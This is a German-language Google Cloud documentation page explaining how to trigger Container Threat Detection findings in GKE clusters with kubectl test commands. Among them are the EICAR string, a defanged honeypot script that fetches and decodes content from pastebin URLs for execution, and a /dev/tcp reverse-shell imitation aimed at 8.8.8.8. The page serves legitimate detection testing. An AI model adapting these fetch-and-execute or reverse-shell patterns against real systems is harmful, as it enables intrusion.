Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufen von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

  1. Öffnen Sie die Google Cloud Console.

    Weiter zur Google Cloud Console

  2. Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.

  3. Klicken Sie auf Google Cloud Shell aktivieren

  4. Legen Sie in Cloud Shell Umgebungsvariablen fest:

    1. Die Zone, in der sich der Cluster befindet:

      export ZONE=CLUSTER_ZONE
      
    2. Das Projekt, in dem sich der Container befindet:

      export PROJECT=PROJECT_ID
      
    3. Ihr Clustername:

      export CLUSTER_NAME=CLUSTER_NAME
      

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 18.04 ausgeführt wird und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Binärdatei ab und führen Sie sie aus:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Binärdatei ausgeführt“ vorübergehend von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Hinzugefügte Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 18.04 befindet und Container unveränderlich sind.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie eine Mediathek ab und laden Sie sie mit ld:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Um die Anzahl der Fehlalarme zu reduzieren, werden beim Erstellen eines Containers Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ vorübergehend von Container Threat Detection herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Hinzugefügte Bibliothek geladen“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Ausführung: Ausgeführte schädliche Binärdatei hinzugefügt

Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, legen Sie eine schädliche Binärdatei in Ihren Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und es sich bei der Binärdatei um eine EICAR-Testdatei handelt, die von der Threat Intelligence als schädlich eingestuft wurde.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Um die Anzahl der Ergebnisse zu reduzieren, werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Execution: Malicious Python executed

Wenn Sie ein Execution: Malicious Python executed-Ergebnis auslösen möchten, können Sie Python mithilfe der folgenden Schritte in Ihrem Container ausführen.

Dabei wird das neueste Python-Image bereitgestellt, scheinbar schädlicher Python-Code kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code für den Detektor schädlich erscheinen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie das folgende Script in einem neuen Container aus.

    Dieser Python-Code stammt aus einem Honeypot. Sie wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Scripts führt nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL existiert nicht und der Versuch, die URL aufzurufen, führt zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, ein Binärprogramm mit einem Inline-Script herunterzuladen, zu decodieren und auszuführen.

    tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true  -i \
    --image marketplace.gcr.io/google/python:latest "$tag" \
    -- python -c "import urllib
    import base64
    import os
    
    url = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    f = os.popen(str(page))
    url = 'https://pastebin.com/raw/Z'
    d = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    exec(page)"
    

Mit diesem Testverfahren wird ein Execution: Malicious Python executed-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Die Ergebnisse können nur in Cloud Logging aufgerufen werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Modifizierte schädliche Binärdatei ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ auslösen möchten, ändern Sie eine schädliche Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 18.04-Image bereitgestellt, /bin/ls in eine EICAR-Testdatei mit Malware umgewandelt und dann ausgeführt. Die Ausführung des Binärprogramms ist unerwartet, da die erstellte /bin/ls während der Containerlaufzeit als schädliches EICAR-Test-Binärprogramm geändert wird. Das EICAR-Binärprogramm ist laut Threat Intelligence eine bekannte schädliche Datei.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse können nur in Cloud Logging angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Reduzierung von Falschmeldungen werden beim Erstellen eines Containers vorübergehend Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ herausgefiltert. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Modifizierte schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, fügen Sie dem Container- oder Pod-Namen wie im Beispiel das Präfix ktd-test hinzu.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, können Sie das Skript mit der folgenden Anleitung in Ihrem Container ausführen.

Dabei wird das neueste Ubuntu 18.04-Image bereitgestellt, ein scheinbar schädliches Script kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie das folgende Script in einem neuen Container aus.

    Dieses Inline-Bourne-Shell-Script stammt aus einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Das Ausführen des Scripts führt daher nicht zu schädlichen Aktivitäten in Ihrem Container. Das Binärprogramm unter der angegebenen URL wurde möglicherweise entfernt. Der Versuch, die URL aufzurufen, führt dann zu einem 404-Fehler. Dies ist zu erwarten. Die Erkennung wird durch den Versuch ausgelöst, ein Binärprogramm mit einem Inline-Script herunterzuladen, zu decodieren und auszuführen.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- sh -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Die Ergebnisse können nur in Cloud Logging aufgerufen werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs „Beobachtete schädliche URL“ auslösen möchten, führen Sie ein Binary aus und geben Sie eine schädliche URL als Argument an.

Im folgenden Beispiel wird ein Ubuntu 18.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Dienst Safe Browsing auf eine Beispiel-Malware-URL zuzugreifen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- sh -c "curl $url | cat"
    

Mit diesem Testverfahren wird das Ergebnis „Bösartige URL erkannt“ ausgelöst, das Sie in Security Command Center und, sofern Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo in /tmp/sh kopiert und dann wird /tmp/sh mit einer Weiterleitung zum öffentlichen DNS von Google 8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird die /bin/sh-Binärdatei nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsplan zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
    

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Zum Testen des Unexpected Child Shell-Detektors können Sie einen Prozessbaum mit einem untergeordneten Shell-Prozess erstellen.

Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Erkennungssystem erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

  1. Erstellt eine Kopie des sh-Prozesses und benennt sie consul.
  2. Der echo-Prozess wird kopiert und dash genannt.
  3. Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Verwenden Sie den Mock-consul-Prozess, um eine Mock-Shell aufzurufen:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
    /tmp/consul -c "/tmp/sh child ran successfully & wait"'
    

Mit diesem Testverfahren wird ein Ergebnis vom Typ Unexpected Child Shell erstellt, das Sie in Security Command Center aufrufen können. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie sich das Ergebnis auch in Cloud Logging ansehen.

Nächste Schritte